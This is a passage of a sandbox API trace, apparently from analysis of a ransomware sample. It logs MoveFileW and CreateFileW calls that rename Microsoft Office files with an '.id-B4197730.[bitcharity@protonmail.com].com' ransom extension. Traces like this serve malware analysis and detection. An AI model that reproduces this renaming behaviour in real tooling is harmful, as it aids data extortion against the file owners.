office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\eu\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fi\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0265.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ja\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ja\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\kk\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\kk\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.340] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ko\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ko\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lt\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lt\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\no\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.754] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pt-pt\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn-cs\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn-cs\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sv\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sv\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\th\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\th\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tr\\microsoft.analysisservices.excel.common.frontend.resources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tr\\microsoft.analysisservices.excel.common.frontend.resources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.715] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.716] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLAPPTR.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\1033\\olapptr.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.716] CloseHandle (hObject=0x127c) returned 1 [0267.717] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.717] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLJRNLR.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\1033\\oljrnlr.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.717] CloseHandle (hObject=0x127c) returned 1 [0267.718] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.719] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLMAILR.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\1033\\olmailr.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.719] CloseHandle (hObject=0x127c) returned 1 [0267.720] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.720] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLNOTER.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\1033\\olnoter.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.720] CloseHandle (hObject=0x127c) returned 1 [0267.721] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.721] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLR.SAM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\1033\\olr.sam.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.722] CloseHandle (hObject=0x127c) returned 1 [0267.723] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.723] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLTASKR.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\1033\\oltaskr.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.723] CloseHandle (hObject=0x127c) returned 1 [0267.724] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.724] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\DELIMWIN.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\delimwin.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.725] CloseHandle (hObject=0x127c) returned 1 [0267.731] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.731] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\DESKSAM.SAM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\desksam.sam.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.731] CloseHandle (hObject=0x127c) returned 1 [0267.733] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.733] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OL.SAM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\ol.sam.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.733] CloseHandle (hObject=0x127c) returned 1 [0267.734] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.734] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OLADD.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\oladd.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.734] CloseHandle (hObject=0x127c) returned 1 [0267.735] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.735] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OLAPPT.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\olappt.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.736] CloseHandle (hObject=0x127c) returned 1 [0267.737] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.737] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OLJRNL.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\oljrnl.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.737] CloseHandle (hObject=0x127c) returned 1 [0267.738] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.738] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OLMAIL.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\olmail.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.738] CloseHandle (hObject=0x127c) returned 1 [0267.739] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.739] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OLNOTE.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\olnote.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.739] CloseHandle (hObject=0x127c) returned 1 [0267.740] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.741] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OLTASK.FAE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\oltask.fae.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.741] CloseHandle (hObject=0x127c) returned 1 [0267.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\cpprest140_2_6.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\cpprest140_2_6.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\cpprest140_2_6.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\cpprest140_2_6.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\csi.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\csi.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\csi.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\csi.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.746] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.746] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Custom.propdesc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\custom.propdesc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.746] CloseHandle (hObject=0x127c) returned 1 [0267.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\dwgdp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\DWGDP.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\dwgdp.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.754] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.754] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ELECTRICAL.VSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\electrical.vsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.755] CloseHandle (hObject=0x127c) returned 1 [0267.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\emsmdb32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EMSMDB32.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\emsmdb32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0267.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0268.746] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.746] 